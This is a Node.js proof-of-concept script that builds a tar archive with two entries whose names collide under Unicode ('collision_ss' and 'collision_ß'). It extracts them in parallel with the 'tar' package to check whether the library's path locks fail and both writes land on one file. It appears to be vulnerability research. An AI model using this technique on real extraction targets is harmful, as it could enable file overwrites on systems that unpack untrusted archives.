const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
  path: 'collision_ss',
  mode: 0o644,
  size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
  path: 'collision_ß',
  mode: 0o644,
  size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
  cwd: exploitDir,
  // Ensure jobs is high enough to allow parallel processing if locks fail
  jobs: 8
});

stream.pipe(extract);

extract.on('end', () => {
  console.log('[*] Extraction complete');

  // Check what exists
  const files = fs.readdirSync(exploitDir);
  console.log('[*] Files in exploit dir:', files);
  files.forEach(f => {
    const p = path.join(exploitDir, f);
    const stat = fs.statSync(p);
    const content = fs.readFileSync(p, 'utf8');
    console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
  });

  if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
    console.log('\[*] GOOD');
  } else {
    console.log('[-] No collision');
  }
});